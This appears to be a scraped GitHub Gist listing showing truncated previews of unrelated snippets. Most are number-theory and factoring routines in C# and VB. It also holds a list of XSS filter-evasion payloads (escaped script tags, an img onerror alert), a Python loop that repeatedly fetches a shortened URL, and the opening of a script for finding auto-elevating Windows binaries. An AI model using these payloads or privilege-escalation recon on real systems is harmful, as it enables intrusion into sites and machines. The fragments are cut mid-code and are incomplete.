This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Tonelli-Shanks Algorithm in C# | |
For a good overview of the importance of this algorithm. | |
See: | |
http://publications.csail.mit.edu/lcs/pubs/pdf/MIT-LCS-TR-212.pdf | |
http://www.math.vt.edu/people/ezbrown/doc/sqrts.pdf | |
https://www.amazon.com/Cryptanalytic-Attacks-RSA-Song-Yan/dp/1441943102 | |
example by Casey Smith | |
@subTee | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function RHO(n As BigInteger) | |
Dim i, xi, k, y, d As BigInteger | |
i = 0 | |
xi = ran.[Next](0, n - 1) | |
k = 2 | |
y = xi | |
While i < n | |
i = i + 1 | |
xi = BigInteger.ModPow(BigInteger.Pow(xi, 2) - 1, 1, n) | |
d = BigInteger.GreatestCommonDivisor(y - xi, n) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim gen As New Random | |
Function IsPrime(value As BigInteger, Optional witness As Integer = 10) As Boolean | |
If value <= 1 Then | |
Return False | |
End If | |
Dim d As BigInteger = value - 1 | |
Dim s As Integer = 0 | |
While d Mod 2 = 0 | |
d /= 2 | |
s += 1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Dim gen As New Random | |
Function Solovay(n As BigInteger) As Boolean | |
If n = 2 Then | |
Return True | |
ElseIf n < 2 OrElse n.IsEven Then | |
Return False | |
End If | |
Dim bytes As [Byte]() = New [Byte](n.ToByteArray().LongLength - 1) {} | |
Dim a As BigInteger | |
Do |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script\x20type="text/javascript">javascript:alert(1);</script> | |
<script\x3Etype="text/javascript">javascript:alert(1);</script> | |
<script\x0Dtype="text/javascript">javascript:alert(1);</script> | |
<script\x09type="text/javascript">javascript:alert(1);</script> | |
<script\x0Ctype="text/javascript">javascript:alert(1);</script> | |
<script\x2Ftype="text/javascript">javascript:alert(1);</script> | |
<script\x0Atype="text/javascript">javascript:alert(1);</script> | |
'`"><\x3Cscript>javascript:alert(1)</script> | |
'`"><\x00script>javascript:alert(1)</script> | |
<img src=1 href=1 onerror="javascript:alert(1)"></img> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// MIT License - Copyright (c) 2016 Can Güney Aksakalli | |
// https://aksakalli.github.io/2014/02/24/simple-http-server-with-csparp.html | |
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Text; | |
using System.Net.Sockets; | |
using System.Net; | |
using System.IO; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib.request | |
Sayi=1 | |
while Sayi<10: | |
Sayi=Sayi+1 | |
urllib.request.urlopen("https://goo.gl/ytXAxy").read() | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static private BigInteger inversemod(BigInteger a, BigInteger n) | |
{ | |
BigInteger i = n; | |
BigInteger v = 0; | |
BigInteger d = 1; | |
while (a > 0) | |
{ | |
BigInteger t = i / a; | |
BigInteger x = a; | |
a = i % x; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static private Boolean IsProbablyPrime(BigInteger value, int witnesses = 10) | |
{ | |
if (value <= 1) | |
{ | |
return false; | |
} | |
if (witnesses <= 0) | |
{ | |
witnesses = 10; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Usage: findelevate.py C:\Windows\System32\ | |
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx] | |
import sys | |
import os | |
import glob | |
import subprocess | |
if len(sys.argv) < 2: | |
print "Usage: findelevate.py <PATH>" |
OlderNewer